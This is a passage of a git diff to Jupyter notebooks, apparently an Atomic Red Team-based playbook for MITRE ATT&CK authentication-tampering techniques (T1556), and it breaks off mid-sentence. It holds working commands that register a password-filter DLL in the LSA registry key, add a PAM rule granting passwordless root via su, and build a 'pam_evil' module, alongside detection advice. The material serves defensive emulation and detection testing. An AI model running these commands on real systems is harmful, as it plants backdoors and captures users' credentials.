cleanup.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: AtomicRedTeamPWFilter.dll must exist on disk at specified location (#{dll_path}\\#{dll_name})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1556.002\\bin\\AtomicRedTeamPWFilter.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/redcanaryco/atomicredteam/atomics/T1556.002/bin/AtomicRedTeamPWFilter.dll\" -OutFile \"PathToAtomicsFolder\\T1556.002\\bin\\AtomicRedTeamPWFilter.dll\"\n\n```" + "source": "### Atomic Test #1 - Install and Register Password Filter DLL\nUses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.\nThe binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection\nSource is in src folder. \nThis does require a reboot to see the filter loaded into lsass.exe. \nIt does require Administrative privileges to import the clean registry values back into LSA, it is possible you may have to manually do this after for cleanup.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: AtomicRedTeamPWFilter.dll must exist on disk at specified location (#{dll_path}\\#{dll_name})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1556.002\\bin\\AtomicRedTeamPWFilter.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/redcanaryco/atomicredteam/atomics/T1556.002/bin/AtomicRedTeamPWFilter.dll\" -OutFile \"PathToAtomicsFolder\\T1556.002\\bin\\AtomicRedTeamPWFilter.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6cc0b469", + "id": "07c875de", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1556.002 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "a9c00f81", + "id": "b83bb43a", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nreg.exe export HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\n$passwordFilterName = (Copy-Item \"PathToAtomicsFolder\\T1556.002\\bin\\AtomicRedTeamPWFilter.dll\" -Destination \"C:\\Windows\\System32\" -PassThru).basename\n$lsaKey = Get-Item \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\"\n$notificationPackagesValues = $lsaKey.GetValue(\"Notification Packages\")\n$notificationPackagesValues += $passwordFilterName\nSet-ItemProperty \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\" \"Notification Packages\" $notificationPackagesValues\n```" + "```powershell\nreg.exe export HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ \"PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\"\n$passwordFilterName = (Copy-Item \"PathToAtomicsFolder\\T1556.002\\bin\\AtomicRedTeamPWFilter.dll\" -Destination \"C:\\Windows\\System32\" -PassThru).basename\n$lsaKey = Get-Item \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\"\n$notificationPackagesValues = $lsaKey.GetValue(\"Notification Packages\")\n$notificationPackagesValues += $passwordFilterName\nSet-ItemProperty \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\" \"Notification Packages\" $notificationPackagesValues\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "17fa0a7d", + "id": "4490173d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1556.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "9b7c9881", + "id": "6abb067a", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nreg.exe import PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\nremove-item C:\\Windows\\System32\\AtomicRedTeamPWFilter.dll\n```" + "source": "#### Cleanup: \n```powershell\nreg.exe import \"PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\"\nremove-item C:\\Windows\\System32\\AtomicRedTeamPWFilter.dll\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4f916ea0", + "id": "aac37c35", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1556.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "540e48bb", + "id": "7d2ff07c", "metadata": {}, "source": "## Detection\nMonitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference.\n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)" } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1556.003.ipynb b/playbook/tactics/defense-evasion/T1556.003.ipynb index 8a5243d0..585924b1 100644 --- a/playbook/tactics/defense-evasion/T1556.003.ipynb +++ b/playbook/tactics/defense-evasion/T1556.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "daa92b9c", + "id": "0b1c1fd3", "metadata": {}, "source": "# T1556.003 - Pluggable Authentication Modules\nAdversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)" }, { "cell_type": "markdown", - "id": "08b1bbb8", + "id": "d93cb28b", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "99cf6566", + "id": "b3fbb285", "metadata": {}, "source": [ "### Atomic Test #1 - Malicious PAM rule", @@ -28,42 +28,77 @@ { "cell_type": "code", "execution_count": null, - "id": "f5c011b3", + "id": "51b23f78", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1556.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "5d9ac600", + "id": "f8c93e8b", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo sed -i \"\\,auth sufficient pam_succeed_if.so uid >= 0,d\" /etc/pam.d/su-l\n```" }, { "cell_type": "code", "execution_count": null, - "id": "96507fd9", + "id": "ec1406ea", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1556.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "3a4ec38b", + "id": "d074bae5", "metadata": {}, - "source": "### Atomic Test #2 - Malicious PAM module\nCreates a PAM module, inserts a rule to use it, and then tests it.\n\nUpon successful execution, this test will create a PAM module that allows every user to su to root without a password.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: The PAM development library must be installed to build the PAM module\n\n##### Check Prereq Commands:\n```sh\nif [ -f /usr/include/security/pam_modules.h ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nif [ -n \"`which apt-get`\" ]; then sudo apt-get -y install libpam0g-dev; elif [ -n \"`which yum`\" ]; then sudo yum -y install pam-devel; fi\n\n```\n##### Description: The PAM module must exist on disk at specified location (#{path_to_pam_module})\n\n##### Check Prereq Commands:\n```sh\nif [ -f /tmp/pam_evil.so ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nsudo gcc -shared -fPIC -o /tmp/pam_evil.so PathToAtomicsFolder/T1556.003/src/pam_evil.c\n\n```" + "source": [ + "### Atomic Test #2 - Malicious PAM rule (freebsd)", + "Inserts a rule into a PAM config and then tests it.\n\nUpon successful execution, this test will insert a rule that allows every user to su to root without a password.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo sed -i \"\" \"8s,^,auth sufficient pam_succeed_if.so uid >= 0\\n,g\" /etc/pam.d/su\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "784623ac", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1556.003 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "808ddf97", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nsudo sed -i \"\" \"/auth sufficient pam_succeed_if.so uid >= 0/d\" /etc/pam.d/su\n```" }, { "cell_type": "code", "execution_count": null, - "id": "46e60d0e", + "id": "826f1bd9", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1556.003 -TestNumbers 2 -GetPreReqs" + "source": "Invoke-AtomicTest T1556.003 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "d5f69ce0", + "id": "3e01b48b", + "metadata": {}, + "source": "### Atomic Test #3 - Malicious PAM module\nCreates a PAM module, inserts a rule to use it, and then tests it.\n\nUpon successful execution, this test will create a PAM module that allows every user to su to root without a password.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: The PAM development library must be installed to build the PAM module\n\n##### Check Prereq Commands:\n```sh\nif [ -f /usr/include/security/pam_modules.h ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nif [ -n \"`which apt-get`\" ]; then sudo apt-get -y install libpam0g-dev; elif [ -n \"`which yum`\" ]; then sudo yum -y install pam-devel; fi\n\n```\n##### Description: The PAM module must exist on disk at specified location (#{path_to_pam_module})\n\n##### Check Prereq Commands:\n```sh\nif [ -f /tmp/pam_evil.so ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nsudo gcc -shared -fPIC -o /tmp/pam_evil.so PathToAtomicsFolder/T1556.003/src/pam_evil.c\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7a004c0d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1556.003 -TestNumbers 3 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "b49c2d67", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -73,28 +108,28 @@ { "cell_type": "code", "execution_count": null, - "id": "97051a3a", + "id": "3c7c168d", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1556.003 -TestNumbers 2" + "source": "Invoke-AtomicTest T1556.003 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "0342c1d9", + "id": "f535bad5", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo sed -i \"\\,auth sufficient /tmp/pam_evil.so,d\" /etc/pam.d/su-l\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f05afef8", + "id": "357aa2d1", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1556.003 -TestNumbers 2 -Cleanup" + "source": "Invoke-AtomicTest T1556.003 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "a17843eb", + "id": "0eb84ff3", "metadata": {}, "source": "## Detection\nMonitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nLook for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access)." } @@ -102,13 +137,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1556.004.ipynb b/playbook/tactics/defense-evasion/T1556.004.ipynb index 7b2b24f5..74ab5d63 100644 --- a/playbook/tactics/defense-evasion/T1556.004.ipynb +++ b/playbook/tactics/defense-evasion/T1556.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "99795571", + "id": "5743f858", "metadata": {}, "source": "# T1556.004 - Network Device Authentication\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)" }, { "cell_type": "markdown", - "id": "bf5633fd", + "id": "f0c06ddf", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "b1e73d40", + "id": "238558fa", "metadata": {}, "source": "## Detection\nConsider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nDetection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601)." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1556.005.ipynb b/playbook/tactics/defense-evasion/T1556.005.ipynb index fb627b33..a2f8ac51 100644 --- a/playbook/tactics/defense-evasion/T1556.005.ipynb +++ b/playbook/tactics/defense-evasion/T1556.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "6ea8443a", + "id": "782a7508", "metadata": {}, "source": "# T1556.005 - Reversible Encryption\nAn adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters\n2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters\n3. Global LSA secret (G$MSRADIUSCHAPKEY)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true." }, { "cell_type": "markdown", - "id": "afe7afc8", + "id": "d116eee6", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "4d41e2f9", + "id": "894a57ed", "metadata": {}, "source": "## Detection\nMonitor property changes in Group Policy: Computer Configuration\\Windows Settings\\Security Settings\\Account Policies\\Password Policy\\Store passwords using reversible encryption. By default, the property should be set to Disabled.\n\nMonitor command-line usage for -AllowReversiblePasswordEncryption $true or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as Set-ADUser and Set-ADAccountControl, that change account configurations. \n\nMonitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1556.006.ipynb b/playbook/tactics/defense-evasion/T1556.006.ipynb index 33643f73..52125a85 100644 --- a/playbook/tactics/defense-evasion/T1556.006.ipynb +++ b/playbook/tactics/defense-evasion/T1556.006.ipynb @@ -2,13 +2,13 @@ "cells": [ { "cell_type": "markdown", - "id": "acceb803", + "id": "817d2c8c", "metadata": {}, "source": "# T1556.006 - Multi-Factor Authentication\nAdversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)\n\nFor example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \n\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) " }, { "cell_type": "markdown", - "id": "8426d86f", + "id": "9d7e5687", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." } @@ -16,13 +16,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1556.007.ipynb b/playbook/tactics/defense-evasion/T1556.007.ipynb index 8a25c591..9701c2f2 100644 --- a/playbook/tactics/defense-evasion/T1556.007.ipynb +++ b/playbook/tactics/defense-evasion/T1556.007.ipynb @@ -2,13 +2,13 @@ "cells": [ { "cell_type": "markdown", - "id": "086ee30b", + "id": "aa2a3022", "metadata": {}, "source": "# T1556.007 - Hybrid Identity\nAdversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts. \n\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation: Azure AD Hybrid Identity):\n\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud \n* Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users\u2019 identity and privileges. \n\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)\n\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors)" }, { "cell_type": "markdown", - "id": "280f98e0", + "id": "a0d0e587", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." } @@ -16,13 +16,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1556.008.ipynb b/playbook/tactics/defense-evasion/T1556.008.ipynb new file mode 100644 index 00000000..947f8385 --- /dev/null +++ b/playbook/tactics/defense-evasion/T1556.008.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "0a0e3c08", + "metadata": {}, + "source": "# T1556.008 - Network Provider DLL\nAdversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify) \n\nAdversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`.(Citation: NPPSPY) Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.(Citation: NPLogonNotify)\n\nAdversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress)" + }, + { + "cell_type": "markdown", + "id": "f52880d2", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1556.ipynb b/playbook/tactics/defense-evasion/T1556.ipynb index 55a4e8be..a56394fb 100644 --- a/playbook/tactics/defense-evasion/T1556.ipynb +++ b/playbook/tactics/defense-evasion/T1556.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "4f0864bc", + "id": "58d6d3da", "metadata": {}, "source": "# T1556 - Modify Authentication Process\nAdversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop." }, { "cell_type": "markdown", - "id": "b7dd58cf", + "id": "d0bbe452", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "580d578f", + "id": "1ea26be2", "metadata": {}, "source": "## Detection\nMonitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference. \n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nMonitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The Store passwords using reversible encryption configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of -AllowReversiblePasswordEncryption $true, Set-ADUser and Set-ADAccountControl. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\n" }, { "cell_type": "markdown", - "id": "585d99ec", + "id": "e12e286d", "metadata": {}, "source": "\n## Shield Active Defense\n### Security Controls \n Alter security controls to make the system more or less vulnerable to attack. \n\n Manipulating security controls involves making configuration changes to the security settings of a system including things like modifying Group Policies, disabling/enabling autorun for removable media, and tightening or relaxing system firewalls, etc.\n#### Opportunity\nThere is an opportunity to use security controls on systems in order to affect the success of an adversary.\n#### Use Case\nA defender could implement security controls to force an adversary to modify the authentication process if they want to collect or utilize credentials on a system.\n#### Procedures\nWeaken security controls on a system to allow for leaking of credentials via network connection poisoning.\nImplement policies on a system to prevent the insecure storage of passwords in the registry. This may force an adversary to revert these changes or find another way to access cached credentials.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1562.001.ipynb b/playbook/tactics/defense-evasion/T1562.001.ipynb index 1b2d99b6..578dc08b 100644 --- a/playbook/tactics/defense-evasion/T1562.001.ipynb +++ b/playbook/tactics/defense-evasion/T1562.001.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "91635f70", + "id": "1c005bce", "metadata": {}, - "source": "# T1562.001 - Disable or Modify Tools\nAdversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)\n\nIn cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.\n\nFurthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\n\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)" + "source": "# T1562.001 - Disable or Modify Tools\nAdversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / 